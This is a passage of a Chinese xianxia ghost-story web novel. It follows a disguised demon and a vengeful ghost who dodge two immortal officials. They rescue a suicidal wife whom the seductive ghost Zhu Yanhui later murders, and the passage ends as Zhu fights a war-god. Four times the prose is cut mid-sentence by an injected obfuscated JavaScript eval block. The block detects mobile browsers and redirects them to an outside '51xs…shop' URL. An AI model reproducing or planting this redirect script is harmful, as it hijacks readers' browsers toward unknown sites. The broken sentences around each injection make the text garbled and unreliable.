“这不你闭关了嘛,你不在就只有我顶上。黑虎在咱们的地盘上出了事,咱俩总不能一个都不露面只当无事发生对吧?我就算做不了什么,起码也要做出姿态给太玄真君看一看,表示高度重视此事,那样才不会得罪人啊!” 浮玉山就位于江南一带,郦子微和钟离斐两个都是本土神仙。太玄真君的座骑黑虎在这儿出了事,他俩确实不适合假装无事发生。 虽然黑虎是私自下凡后果自负,太玄真君陆衢也不可能责怪他们,但冲着仙僚一场的情分,他们也得出面帮忙查一下情况才对。 弘文真君郦子微,光看风骨清举的外表好像完全不通俗务,其实为人精明又圆滑。 云间仙境的仙官们,哪些不能得罪,哪些还得要捧着,他心里都有本明细账,从来都没有出过一丝错。 相比之下,钟离斐这个大老粗就没那么多弯弯绕绕的心思,直性子又自带得罪人技能,人缘混得要比郦子微差多了。 “郦夫子还真是会做人啊!你当年悬梁苦读,难不成都是钻研的这一套吗?” 对于钟离斐毫不掩饰的挖苦,郦子微含笑反问。 “有何不可?有道是世事洞明皆学问,人情练达即文章。世态人情其实也是一门很高深的学问呢!” . 马车达达地走远了,郦子微和钟离斐的对话声已经捕捉不到了。 阿难轻轻吁口气道:“好了,咱俩算是有惊无险地又过了一关。” “刚才车外站着两个神仙,咱们一妖一鬼居然都能蒙混过关,又是你的铃铛帮了大忙吧?” “是啊,我家小铃可是立了大功呢!” 阿难一边说,一边伸手摸着系在腕间的那只虎头铃铛。 铃铛在主人指间叮叮轻响了两声,活像一只被撸的小猫咪在喉咙间咕噜咕噜的撒娇声。 “如果不是有小铃护法,威毅真君那杆降魔枪,现在肯定已经招呼到咱们头上来了。这回又让它受累了,至少得好好养上三五天才行。” 阿难没有详说虎头铃铛是如何护法的,不过应长恨也能猜出几分。 那只铃铛的法力,显然能彻底隐匿起他俩的妖鬼气息,让两个近在咫尺的神仙也毫无察觉。 钟离斐武将出身,尤其擅长阵前单挑,一杆精钢寒铁铸就的银色长枪曾经打遍天下无敌手。 他飞升成仙后,长枪荣升为降魔枪,成为不少妖魔鬼怪闻风丧胆的神兵。 应长恨皱着眉头道:“是啊,这个钟离斐可不是那种动口不动手的君子。听说他就喜欢二话不说直接动手,只要是妖魔鬼怪,统统先降服了再说。不像太清元君愿意酌情处理,网开一面。郦子微应该也不会把我们怎么样,毕竟他一介文神,没有义务跟妖魔鬼怪斗战。” 37.神性 应长恨的话说完后,阿难随口点评道: “钟离斐这人比较一根筋,不太好打交道。郦子微就比他要圆滑多了,向来是多一事不如少一事,不是自己的份内事更是懒得管。” “咦,怎么听起来你好像很了解他们的样子?” “我听说的。” “你哪儿听说来的?” “这个就不便透露了啊!” 根据阿难以往的“斑斑劣迹”,应长恨得出了一个鉴定结果。 “哼!你一定又在瞎编。” 阿难笑而不语,低下头继续抚摸自己的铃铛,摸出一连串撒娇似的铃声,惊动了应长恨的阿福。 那只憨态可掬的泥娃娃从袖筒里钻出来,弹跳到阿难的手边后,兴奋地用额头拼命蹭起了铃铛。 但无论怎么蹭铃铛都不再响了,气得它原地团团转,差点没把自己转成一只陀螺。 “快叫你家宝贝别转了,转得人头晕眼花。” “少来,你哪有那么娇气。” 话虽如此,应长恨还是一把抓回了陀螺般转个不停的阿福,还照头拍了它一巴掌。 “你怎么这么喜欢热脸去贴人家的冷屁股?真是给我丢人,我要关你的禁闭。” 阿福顶着一张哭唧唧的面孔,被应长恨重新塞回了袖笼里。 . 禹杭城的西子湖畔,最热闹的酒楼非楼外楼莫属。 华灯初上时分,楼外楼已经客似云来,楼上楼下几乎都坐满了人。 一楼大堂的角落中,美髯公阿难和应长恨“小姑娘”占了一张小桌。 两个人一边吃着招牌菜西湖醋鱼,一边留意着酒楼里食客们的高谈阔论。 禹杭城就位于浮玉山一侧,黑虎在浮玉山生不见虎死不见尸一事,修真界已经尽人皆知。 无论是赶往浮玉山的修士,还是自浮玉山归来的修士,都可以顺便来游历一下禹杭城这座名城,也就意味着此地将汇集大量相关消息。 想要打听消息,最好的地方就莫过于酒楼,越热闹的酒楼消息往往越多。 阿难于是摆出一副“日子不过了”的败家架势,带着应长恨来到楼外楼吃香喝辣。 楼外楼的几个招牌菜都做得很有水准,两个人吃得津津有味。 不过在酒楼听到的消息就乏善可陈,基本上都是老生常谈的那一套。 什么黑虎很有可能已经挂掉了,杀害它的凶手最有可能是厉鬼应长恨云云。 “咱们离开安宁镇已经两天了,按理阴有苓早该把黑虎吃人一事公布于众,可现在却一点风声都没有,看来情况有变呢!” 应长恨能猜出这一点,阿难自然也能,他点头道:“这件事应该被人捂住了——更确切来说,是被神仙捂住了。” 神仙座骑偷偷下凡吃人,这样骇人听闻的事传出去实在不好听,神仙们自然是最希望把事情捂住不爆雷的人。 “你觉得这个人是不是太玄真君本尊呢?” 虽然太玄真君陆衢是黑虎的主子,一旦东窗事发难辞其咎,但阿难不觉得会是他。 “太玄真君这个人,霸道是真霸道,但正因为霸道惯了,所以凡事都是正面硬刚,不屑于背后搞小动作。如果知道黑虎给自己闯了这么大的祸,他更有可能像你说的那样,诛杀几个妖魔鬼怪来弥补自己的失察之罪,而不是这样鬼鬼祟祟地捂下去。” “如果不是他,那最有可能的人,就是江南的两位本土神仙。钟离斐一介武夫,粗豪汉子,也没这种弯弯绕绕的肚肠,那就只剩一个郦子微了。我赌一条西湖醋鱼,一定就是他。” 阿难才不跟应长恨赌呢。 “这还用赌吗?除了他不可能再有别人了,你分明就是想再骗一条醋鱼吃。” “郦子微想要捂住这件事,就得先摆平阴有苓。你猜她是被收卖了,还是被威胁了?还是威逼利诱一起上?” “以阴有苓那个刚强的性子,威逼利诱都不管用的。我个人觉得,郦子微最有可能是釜底抽薪。只要直接把那个黑虎盘踞吃人的山洞毁去,阴有苓就没了证据,拿什么公布于众?” 只要没有真凭实据,阴有苓说的话就都无凭无据。 空口说白话,自然是毫无可信度。人家凭什么相信她说的是事实?根本连说都不用说了。 “如此说来,黑虎吃人一事已经没有证据能证明,算是彻底洗白了。而我胆大妄为地杀害神仙座骑这口黑锅,也休想甩掉了。” 黑虎吃人一事若能板上钉钉的证实,就算应长恨被厉无情栽赃成凶手,至少也不是无故伤虎,而是情有可原,还是为安宁镇百姓消除虎患的英雄呢。 在这种情况下,太玄真君陆衢的那道梦令就只能取消。毕竟黑虎之死是咎由自取,杀虎者却是见义勇为。 而梦令一取消,其他人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176257|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法从中获得好处的话,就不会冒险来对付应长恨,他的处境也就不会危机四伏了。 “可恶!”应长恨既恼火又无奈地磨着后槽牙道:“郦子微毁掉证据,是为了讨好太玄真君吧?” . 云间仙境的仙官们,一般情况下是论资排辈。资历够老的神仙,自然是信徒更多,根脚更稳,地位怎么都不会低的。 太玄真君陆衢是已经飞升千年的仙官,飞升前是北鄣国的皇太子,举国上下都成了他的忠实信徒。 初登云间仙境就是显赫一时的新贵,千百年来也一直香火旺盛,法力日渐增长,地位始终稳如泰山。 如今的太玄真君,论信徒,论法力,论地位,除了紫衡帝君已经无人能与之匹敌,俨然已是帝君之下的第一仙官。 而郦子微飞升不过四五百年,又是一个没有斗战能力的文神,自然不想得罪太玄真君这样地位超然的大仙官。 “我听说,郦子微从不会在明面讨好谁,但不能得罪的大仙官他都不会得罪。他这么做,未必就是想跟太玄真君邀功讨赏,只是多一事不如少一事,不想给自己找事罢了。” 黑虎在浮玉山吃人,肯定会给太玄真君丢人。 与其张扬出去闹得沸沸扬扬,搞不好还要连累自己被迁怒,郦子微自然是更愿意大事化小小事化了,直接捂住当作无事发生。 掩盖黑虎吃人一事,像他这样的聪明人,甚至都不会为此去向太玄真君邀功。 如果被陆衢知道他掌握了这么一手黑材料,对他绝对弊大于利。要知道手上捏着别人把柄的人,下场多半都好不了。 “因为他自己不想惹麻烦,就一手捂住黑虎吃人的真相。什么狗屁神仙?不过是尸位素餐的玩意儿罢了。” 应长恨忍不住要开骂,阿难却是一脸见惯不怪的平静神色。 “神仙都是人修成的,神性的背后就是人性。人性的优点和缺点,神性一样难以摆脱。就算是神仙,只要有私心,就会为了个人私利做出对自己更有利的选择。” 应长恨冷笑道: “对郦子微来说,杀死黑虎的反正是无间鬼域的厉鬼,并非什么良善之辈。就算他掩盖了事实真相也害不到好人头上,做起来自然是更加没有心理负担。” “你知道就好,总之这个黑锅你背定了。禹杭城不能再呆下去了,咱们吃完就赶紧走,连夜找船出海避风头。” 38.我去 阿难之所以在禹杭城停上两天,就是为了观望一下情况是否有变。 如果阴有苓把黑虎吃人的真相公布于众了,那么应长恨的处境将大有改善。 他们就可以按照原计划,前往东海第一胜境的海中洲,而非步云山。 海中洲和步云山,都位于东海一带,却是南辕北辙的两个方向,相距有好几百里。 曾经的步云山,是无极宗仙府摩宵宫所在地。 三百年前,摩宵宫被雷火烧毁,步云山也灵气枯竭,元气大伤的无极宗只得被迫迁往他处。 那个他处,就是海中洲。无极宗如今的宗门仙府,就设在这处近海的海岛上。 从钱塘江乘船出发,一路向东就能直入东海,再顺着海岸线往北前行,便能抵达三面环海的步云山。 抵达禹杭城的第二天,阿难就把马车卖掉了,然后用这笔钱买了一艘小渔船,泊在钱塘江一带的某处码头。 在楼外楼吃饱喝足后,他俩一出门就直奔码头,跳上小渔船驶入钱塘江。 阿难负责驾船,应长恨“小姑娘”负责躺平——舒舒服服地躺在船舱里睡大觉。 船只启航没多久,阿难无意中瞥见江畔左岸有一道纤弱的身影,还遥遥传来一阵凄凉的哭声。 更鼓即将敲响三更,一个女子不回家睡觉,却独立江岸月下徘徊,呜呜咽咽地哭个不停,该不是有什么事想不开要寻短见吧? 阿难脑子里刚掠过这个猜测,岸上哭泣的女子就纵身一跃跳入江中。随着“扑通”一声响,四溅的水花迅速淹没了她的身影。 ——不是吧?还真被我猜中了,这可真是好的不灵坏的灵啊! 阿难立刻跳下江救人,一番手忙脚乱地折腾后,总算是把那个寻短见的女子捞上了小渔船。 那女子已经灌了满满一肚子水,淹得七荤八素,可刚一缓过劲来,又哇的一声放声大哭。 “你为什么要救我?就让我死了一了百了吧!” “这位夫人,有道是好死不如赖活着。不管你遇上了什么难处,都先别急着走上绝路,没准会柳暗花明又一村呢。” 这女子二十出头的年纪,一身已经嫁作人妇的打扮,阿难便以“夫人”相称。 她抽抽噎噎地泣道:“没有法子了。我夫君今日一纸休书休了我,我回到娘家也没脸见人,唯有一死了之。” 被丈夫休弃的女子只能回娘家,往往因此得不到娘家的待见,甚至还会责怪她令家族蒙羞。 逼不得已的情况下,有些女子会万念俱灰地选择自尽。 “你夫君为什么要休了你?” “因为他另外有了新人。那女子说要娶她的话就得先休了我,她是绝对不会做妾的。这个无情无义的男人,居然当真就答应了她。不顾结发三年的夫妻情谊,以无子为由要休弃我。我之前明明为他怀过一个孩子的,因为路遇惊马才滑了胎,也伤了身子。但大夫说了好好养上几年未必不能再生,他却如此狠心,一定要以这个理由把我休回娘家。我……我实在是走投无路,只能去死了!” 女子泣不成声的一番话,听得站在一旁的应长恨重重一哼。 “这种狗男人,根本不值得你为他去死。” 女子看着眼前的“小姑娘”都愣了一下,不明白她小小年纪为何如此人间清醒。 阿难在一旁直点头,“没错,夫人,要是为着这么一个无情无义的狗男人死了,你就亏大发了。” “可是遭他休弃了,我以后怎么抬得起头来做人啊?倒不如直接投河自尽来得干净。” “夫人放心,我们这就送你回夫家,保证和你夫君见过面后,让他不敢再提休弃你的事。” 阿难大包大揽的这番话,女子听了虽然半信半疑,但一双枯木槁灰似的眼睛,又重新亮起了一星光彩。 “恩公此话当真?” “当然,我一向说到做到。” “不知恩公要如何做到这一点呢?” “这你就别管了,反正我会负责让你那位夫君不敢休妻再娶,以后也会好好待你的。” 阿难虽然没有透露具体的操作步骤,但应长恨不难猜出来。 无非就是找到负心汉后亮出手段恐吓一番,让他知道发妻背后有高人罩着,以后就不敢不善待她了。 这一套简单粗暴直接有效,比什么动之以情、晓之以理要管用多了。 毕竟跟某些人渣讲情理是讲不通的,不如直接亮拳头秀肌肉更有效。 . 跳江自尽的女子娘家姓郭,郭氏的夫君姓邹,有着秀才的功名,人称邹秀才。 邹秀才的家境在禹杭城算是薄有家产,有几间铺子和上百亩良田,足以让一家老小过得衣食无忧。 温柔贤惠的郭氏,是邹父三年前为儿子聘定的儿媳,邹秀才对此并不太满意。 因为他一直想找个绝色美人做妻子,而郭氏的容貌只是中人之姿。 当时,邹父语重心长地对儿子说了一番“娶妻娶德,纳妾纳色”的道理。 邹秀才也不好违逆父亲,只得不情不愿点了头。 成亲第二年,邹父就去世了,与早逝的妻子合葬在一起。 邹秀才正式成为一家之主,家里的大事小事全部他一个人说了算。 虽然郭氏不是他理想中的妻子,但他也认了,只想着纳个容貌出众的美妾来弥补一下自己。 合适的美妾一直没有物色到,邹秀才前阵子游湖时却偶遇了一位佳人。一照面就魂灵儿飞上半天,别提多惊艳了。 佳人自称珠娘,是一个年少丧偶的小寡妇。 因为夫家想逼她削发为尼替亡夫守节,所以独自带着金银细软逃了出来,目前寓居西子湖畔。 邹秀才对珠娘一见倾心,提出想要纳她为妾照拂一生。她却说自己是清白人家出身,宁死也不做妾,除非他能休妻另娶。 对于珠娘开出的这一条件,邹秀才满口答应。 他原本就不满意郭氏的容貌平平,如今遇上了一位如此合心意的美貌佳人,自然很乐意新人换旧人。 “行,没问题,我会尽快跟妻子和离的,你等着我啊!” “和离多麻烦啊,你家夫人要是不愿意,一哭二闹三上吊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187098|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹,恐怕你还有的折腾呢!不如直接休妻,那样她就只能收拾东西走人了。” 和离的话,郭氏就不是见弃于丈夫的弃妇,名声不会受到太大影响。 如果是一纸休书休回娘家,则说明她犯了七出之过,以后的名声就算毁了。 到底夫妻一场,况且郭氏虽然不够美,却是一个不折不扣的贤妻,一直把丈夫的衣食起居照顾得妥妥当当。 邹秀才不想把事情做得这么绝,脸上露出几分迟疑犹豫的神色。 “邹郎,我独自一人飘零如浮萍,只想快点找到一个依靠。如果你为难的话那就算了,我另外再找合适的郎君托附终身。” 邹秀才一听这话就急了,马上不假思索地满口答应。 “不为难,珠娘你放心,我今儿回去就立刻一纸休书休了她,再风风光光地娶你进门当我的新夫人。” 郭氏就这样被弃若敝屐了。 . 阿难带着郭氏回到邹府时,前来开门是一位老家仆。 见到她从头到脚都湿透了,他自然不难猜出几分缘故,满脸都是同情之色。 “夫人,你怎么一身湿,该不是想不开去跳江了吧?唉!老爷也真是狠心啊!” 郭氏含泪道:“我走投无路,只能去寻死。是这位恩公救了我,又特意送我回来。” “你家老爷在哪儿?让他出来,我要见他。” 阿难一边问,一边老实不客气地往门里闯。 老家仆装模作样地拦了一下就不管了,只是大声通知主人。 “老爷,老爷,有人闯进来要见你。” 邹府是一座三进院落的宅子,邹秀才住在二进的正房。 阿难都已经带着郭氏闯到了二进院落,按理门房这么大声叫喊,里头肯定能听见。 可是老家仆连着喊了好几遍,正房里也没人走出来。 阿难突然意识到了不对劲,正房虽然灯火通明,却显得格外安静,安静得透出几分不祥。 “谁在屋里?” “半个时辰前,老爷把那个珠娘带回家做客,还让楼外楼送了一桌酒菜过来。现在两个人应该就在屋里饮酒作乐才对啊,怎么会这么安静呢?” 老家仆也觉得纳闷,阿难直觉大事不妙,那个珠娘恐怕不简单。 夜色中的邹府,看不出来有什么妖魔鬼怪的邪气充盈。但如果珠娘是个段数很高的妖孽,像他这种法力低微的小妖自然难以识破。 阿难高度警惕地压低声音道:“不好,屋里恐怕出事了,咱们最好先离开这儿。” 话音刚落,正房的两扇雕花木门突然自动敞开。一位鲜妍妩媚的红衣女郎,婀娜多姿地迈过门槛走出来。 老家仆都糊涂了,“咦,她刚才进去的明明是一身白衣,怎么一转眼变成红衣裳了?” 郭氏不禁看呆了,这女郎就是珠娘吗?端的是美艳得不可方物,难怪她那位一向注重美色的夫君会被迷得神魂颠倒。 阿难的身体已经僵住了,心底却在无声狂叫:我去!我去我去!这个珠娘居然就是朱颜悔。我这算不算自投罗网? 39.疯批美人 如果不是前两天逃离玉岭时偶遇两位仙官,虎头铃铛为了掩护主人耗尽法力,阿难刚才没进门就能得到铃声预警,也就不会这么倒霉地直面朱颜悔这个大煞星。 惊慌过后,阿难很快恢复了镇定:别慌,稳住,一定要稳住。只要稳住了,就还有机会蒙混过关。 美髯公的伪装,让阿难与最初遇见朱颜悔的样子截然不同。 这会儿又是半夜三更时分,她出现在邹府也不是冲着他来的,只要他小心一点别引起她的注意,一切就还有转机。 朱颜悔袅袅婷婷地走下正屋前的三层石阶后,正屋门后的情形就被人尽收眼底。 对着大门口的那张八仙桌旁,一动不动地趴着一个——一个不知道怎么形容才好的东西。既像一个人,又像一件衣服。 像人呢,是因为它看上去是人的形体,却又显得太过干瘪;像衣服呢,却又分明要比衣服丰盈多了。 严格来说,有点像稻草人的那种似人非人感。 老家仆惊呼道:“老爷他……他这是怎么了?” 郭氏也骇然道:“是啊,他怎么突然就瘦了一大圈?” 朱颜悔朝着他们嫣然一笑,那笑容有着难以形容的诡艳邪魅。 “因为我吸干了他的精元,他已经变成了一具干尸,自然就瘦小了不少。” 她的声音娇柔婉转,十分动听,用这样柔媚的声音说着那么可怕的话语,让人一时间都反应不过来。 呆了好半晌后,年纪大经不起吓的老家仆,两眼一翻白直接被吓死了;面如土色的郭氏双腿一软瘫倒在地。 阿难则开始了一场被吓得连滚带爬往外逃的即兴表演。 “啊,死人了!杀人了!” . 阿难一副吓得屁滚尿流的样子往外跑时,脑后传来一记掌风。 他假装中招顺势往前一扑,扑倒在垂花门台阶下方,一动不动地趴着装死。 眼看着老家仆被吓死,阿难被打死,郭氏越发吓得花容失色,瘫坐在地上怎么都爬不起来,浑身像筛糠似的抖个不停。 “别……别杀我……求求你……别杀我。” 郭氏本能地颤声求饶,虽然她之前还想跳江自尽,但自己寻死是一回事,被一个不知是妖是鬼的女人吸成干尸又是另一回事。 哪怕她再怎么不想活了,也不想死得这么恐怖啊! 朱颜悔走到郭氏面前,居高临下地注视着她。 一双明眸中,既有着哀其不幸的悲哀同情,更有着怒其不争的愤怒厌恶。 “你浑身上下都湿透了,是不是跑去跳水自尽了?为了一个狠心抛弃你的男人去死,真是愚蠢之极。” 死到临头了,郭氏强烈的求生念头,倒让头脑变得前所未有的清明起来。 听出了朱颜悔并不满意自己为了负心汉去寻死觅活,她就知道该说什么了。 “姑娘,我刚才的确是这么想的,也这么做了。跳江后我被好心人救起来,在鬼门关走了这一遭,我突然改变了主意。老娘连死都不怕了,还怕什么呢?姓邹的狠心无情要休弃我,我就算死也要拉上他垫背。所以我又回来了,想和他一起同归于尽。” 听了郭氏这番话,朱颜悔眸底的愤怒与厌恶倒是褪去了不少。 “哦,总算你还不是太蠢,想明白了自己一个人寻死不值得,应该拉上负心汉垫背才对。” “没错,他既然不管我的死活,那我就该拖着他一起去死。而不是自己一个人凄凄惨惨地下黄泉,任由这个负心汉另娶新妇风流快活。” 朱颜悔眸底闪过一缕无比惨痛又无比怨毒的神色,喃喃道: “是啊,想当初我就是独自一人凄凄惨惨下了黄泉。那个说什么要跟我一块殉情的男人,不过是哄着我自己悬梁自尽,我一死他就风风光光地去当驸马爷了。” “什么?” 郭氏听得都无法不心生同情,也意识到这是一个同病相怜可以拉近关系的机会。 “姑娘,你的情郎为了当驸马爷,居然以殉情的名义哄骗你自缢,这狗男人也太狠毒了吧!” “他太狠毒,而我却太愚蠢,蠢得以为他是真心爱我,才会落一个如此可悲又可笑的下场,也是咎由自取,纯属活该。” 咬牙切齿的一番话说到最后,朱颜悔满脸都是自我厌恶的神色,甚至还歇斯底里地反手抽了自己一耳光,惊得郭氏都迸出了一声尖叫。 “从那以后,所有负心薄幸的狗男人我都憎恨,所有为情所困的蠢女人我也都讨厌。没想到你竟没有蠢到家,还知道回来找负心汉同归于尽。否则你死后怨气难消,正好可以被我拿来炼器。” . 趴在地上装死的阿难,把两个女子的对话都听一清二楚。 朱颜悔透露出的前尘往事,让他明白了这个魅鬼为什么最恨男人骗她。因为她当初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212045|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从人变鬼,就是遭到一个负心汉欺骗的结果。 在上当受骗单方面悬梁殉情后,朱颜悔不光恨透了那个欺骗了她的男人,也恨上了当初那个被感情蒙蔽了双眼从而变得盲目愚蠢的自己。 所以,她不光狩猎那些见异思迁的负心汉,还怂恿他们用最恶劣的手段抛弃自己的女人。 如果那些女人因此绝望自尽,在她看来就如同当年蠢得无可救药的自己,死了也是活该自找。 更重要的一点是,这些女人死后的怨气可以为她所用。 “姑娘,我不会犯这种蠢了。我已经知道为了一个无情无义的男人去死不值得。以后再有类似遭遇,我只会拎着刀跟负心汉拼命,而非自己寻短见。” 邹秀才已经死了,而他一纸休书休了郭氏的事还没有外传。 只要郭氏把休书一毁,她的身份便不是弃妇是孀妇,以后大可以再找个合适的夫家另嫁。 丈夫虽然惨死,但是这个无情无义的男人也不值得郭氏为他伤心欲绝,已经下意识地为自己的将来作打算。 如果运气不好再遇上一个负心汉,她一定会采取截然不同的应对方式。 朱颜悔一瞬不瞬地注视着郭氏,阴沉沉的目光仿佛是来自地狱的深处,令人有些毛骨耸然。 “姑娘,你这样看着我干……” 郭氏胆战心惊的话还没说完,朱颜悔轻描淡写地一挥手,她的颈骨就咔嚓一响断掉了,整个人一头栽下去再也动弹不得。 “凭什么你犯了蠢还有机会重新再来,我却不行?我既然不行,那谁也别想行。” 朱颜悔的这番话,每个字都淬满了浓烈的怨毒与不甘,声音语气却依然温柔似春风。 如果没听清楚她在说什么,都不知道她是在发狠。 阿难原本以为朱颜悔只杀负心汉,不会对同样百年苦乐由他人的薄命女子下死手,只是考验一下她们是否会因为被抛弃去寻短见。 郭氏不但侥幸通过了考验,关键时刻还很拎得清,知道迎合朱颜悔的喜恶说话。 再三声明自己不会再为了无情无义的男人犯蠢,横看竖看朱颜悔都没理由要她的命。 万万没想到,这个魅鬼就算是被人这样顺毛捋,也还是突然奓毛出手杀了郭氏。 而她那个怨毒无比的杀人理由,让人听了不寒而栗。 阿难算是明白了:这女鬼是一个妥妥的疯批美人啊! 40.鬼鞭青丝 生前的朱颜悔或许是个天真单纯的傻白甜,但是被情郎设计悬梁殒命的悲惨遭遇,让她性情大变。 变得偏激又狠毒,想法与行事都十分极端,根本不能再以常理来衡量。 以朱颜悔这种偏激狠毒的扭曲心态,郭氏横竖都是一个死字。 如果是遭到抛弃后寻了短见,那就是她自己犯蠢活该;如果她头脑清醒不去寻死,那她也容不下她有机会重新开始。 因为朱颜悔自己当年没能得到第二次机会,所以接受不了其他女子能有这样的幸运。 如果她们没有步自己的后尘为一个渣男去死,那么她就要亲手结果她们的性命。 郭氏毙命后,朱颜悔没有急着走,而是慢条斯理地从她尸身上收集怨气,阿难也只能将装死进行到底。 怨气才收了不到一半,邹府上空突然飞来一道人影。身披金甲,手持银枪,相貌堂堂,威风凛凛,一看就是天神降临。 “何方妖孽在此作祟?” 黑虎在玉岭一带神秘消失,生不见虎死不见尸,身为本土仙官的钟离斐,这阵子天天下凡寻找线索。 他这做不是为了讨好太玄真君陆衢,而是想要查清楚到底是怎么一回事。 目前黑虎之死应长恨是最大嫌疑人,这个厉鬼胆大包天,敢来他的地盘上搞事情,如果被他逮住了一定要往死里收拾一顿不可。 因为正在四处寻找厉鬼应长恨,钟离斐对鬼气的捕捉高度敏感,飞过邹府上空感应到有鬼气存在,立刻下来查看究竟。 威毅真君钟离斐突然出现,朱颜悔虽然吃了一惊,但并不慌张。 她声音娇滴滴地道:“朱颜悔拜见钟离将军。将军别这么凶嘛,差点吓坏妾身了。” 朱颜悔百媚横生的嫣然一笑,不少男人见了连骨头都要酥掉。 可偏偏钟离斐是个不解风情的鲁男子,这一套就像俏媚眼做给瞎子看,对他毫无作用。 “你是魅鬼朱颜悔,又把一个男人吸成干尸了吧?” 钟离斐之前并没有见过朱颜悔,但是对这位魅鬼的杀人手段早就有所耳闻。 她从来不搞采阳补阴那一套,而是直接动用法力吸干男子的精元。 “没错,所有负心薄幸的男人都不是好东西,统统该死。” “那院子里的这三具尸首也该死吗?” 除了正屋已经变成干尸的邹秀才,院子里还躺着郭氏、老家仆和阿难三个人。 钟离斐指着他们厉声质问朱颜悔,她若无其事地照样语笑嫣然。 “钟离将军,那是他们倒霉,运气不好自己撞上来,可就怪不得我了。” “鬼妇,看招。” 钟离斐不再废话,直接出□□向朱颜悔。她纤腰一拧灵活避开后,玉手一扬,扬出一根乌黑发亮的长鞭。 这是鬼鞭青丝,为魅鬼朱颜悔的独门武器。 这根鬼鞭的材质,使用了那些和她一样为情所伤自尽身亡的女子长发炼制而成。阴气重、怨气深、煞气所向披靡,凡人一抽即死。 朱颜悔挥舞着青丝鞭,与钟离斐的降魔枪厮杀起来。一刚一柔的两种武器,在夜色各逞其威,杀得难解难分。 . 仙官和鬼妇的仙鬼交战,阿难唯恐城门失火,殃及自己这条池鱼。 要知道邹府的二进院落面积不大,降魔枪一舞,青丝鞭一挥,蕴含的威力四面八方乱扫一气,简直让人避无可避。 为了不倒霉催的变成炮灰,阿难趁着院中二位打得难解难分,暗中蓄足法力,嗖的一下穿墙而过,蹿出院子逃之夭夭。 无论钟离斐还是朱颜悔,之前都以为这院子里没有活人了,只是三具尸首躺在地上。 尸体没有呼吸与心跳,这一点他们单用耳朵就能听出来。 谁也没有料到,三具尸首中,有一具突然就“诈尸”逃得无影无影,这让缠斗在一块的两个人都愣了一下。 愣过后,钟离斐的第一反应就是:“鬼妇,你还带了同伙?” 朱颜悔气急败坏地跺脚道:“那根本不是我的同伙,而是一个装死骗了我的骗子。” 朱颜悔意识到自己上当受骗了。 刚才那个吓得鬼哭狼嚎的男人,她只当是个普通的凡人随手一巴掌拍死,就像拍死一只苍蝇般丝毫没有放在心上。 谁知这家伙根本不是凡人,不过是在装死骗她,还偷听到了她当年为何而死的底细,而她却连对方是何模样都没留意。 最恨被男人骗的朱颜悔无法不气急败坏,姣好的面孔都微微扭曲起来,美艳中透着几分狰狞可怖。 她本能地想要追上去,却被钟离斐的降魔枪挡住了去路。 “你想跑,没那么容易。” “我不是想跑,是要去追刚才逃掉的那家伙。钟离将军,咱们这一架以后再打行不行?” “不行,你在我的地盘作祟,遇上了我就别想开溜。” 钟离斐不肯轻易罢休,朱颜悔无法脱身,只能柳眉倒竖地冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221456|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哼道:“好,那我就先摆平了你再说。” . 夜空中,一丸珍珠似的明月,不知几时悄然隐入了云层。月华一黯淡,邹府中变得越发阴森起来。 朱颜悔再次挥舞长鞭,却不是为了跟钟离斐作战,而是将鞭子舞成一组诡异的动势,像是在作法布阵。 钟离斐不耐烦地挺枪便刺,“不管你想捣什么鬼,老子杀就完事了。” 一边灵活躲闪着钟离斐的降魔枪,朱颜悔一边继续作法布阵,最后一声娇叱道:“阵成。” 伴随着这两个字,邹府的院子中央,突然有大片黑色丝状物从地下往上冒。 钟离斐定睛一看,发现那些东西是人的头发。 无数根头发就像是从地里长出来的芦苇,在夜风中摇曳飘荡,簌簌作响,迅速就把他包围起来。 朱颜悔身姿袅娜地立于阵外,唇角噙着一个绝艳而冷酷的微笑,整个人透着一种又美又煞的妖娆狠辣。 “这是我的青丝阵,名曰‘缠绵意’。钟离斐,你好好感受一下被它们缠住的滋味吧。” 